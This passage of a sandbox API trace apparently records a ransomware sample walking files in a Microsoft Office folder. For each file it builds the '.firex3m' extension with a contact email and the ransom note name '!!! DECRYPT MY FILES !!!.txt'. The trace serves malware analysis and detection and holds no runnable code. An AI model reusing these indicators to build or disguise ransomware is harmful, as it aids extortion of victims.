ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0124.807] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll", len=0x55 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 1 [0124.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll", cchLength=0x55 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 0x55 [0124.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.807] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.807] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.808] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0124.808] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll", len=0x57 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 1 [0124.808] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll", cchLength=0x57 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 0x57 [0124.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.808] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.808] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.808] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0124.808] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll", len=0x4e | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 1 [0124.808] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll", cchLength=0x4e | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 0x4e [0124.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.808] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.809] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.809] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0124.809] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll", len=0x51 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 1 [0124.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll", cchLength=0x51 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 0x51 [0124.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.809] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.809] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.809] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0124.809] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll", len=0x4f | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 1 [0124.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll", cchLength=0x4f | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 0x4f [0124.809] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.810] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.810] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.810] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0124.810] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 1 [0124.810] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll", cchLength=0x4d | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 0x4d [0124.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.810] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.810] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.810] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.810] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0124.810] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll", len=0x4f | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 1 [0124.811] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll", cchLength=0x4f | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 0x4f [0124.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.811] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.811] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.811] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0124.811] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll", len=0x53 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 1 [0124.811] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll", cchLength=0x53 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 0x53 [0124.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.811] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.811] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.811] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.811] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0124.812] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll", len=0x52 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 1 [0124.812] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll", cchLength=0x52 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 0x52 [0124.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.812] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.812] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.812] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0124.812] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll", len=0x4c | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 1 [0124.812] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll", cchLength=0x4c | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 0x4c [0124.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.812] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.813] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.813] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0124.813] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll", len=0x4e | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 1 [0124.813] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll", cchLength=0x4e | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 0x4e [0124.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.813] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.813] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.813] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0124.813] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll", len=0x4c | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 1 [0124.813] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll", cchLength=0x4c | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 0x4c [0124.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.814] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.814] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.814] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0124.814] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll", len=0x51 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 1 [0124.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll", cchLength=0x51 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 0x51 [0124.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.814] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.814] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.814] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, 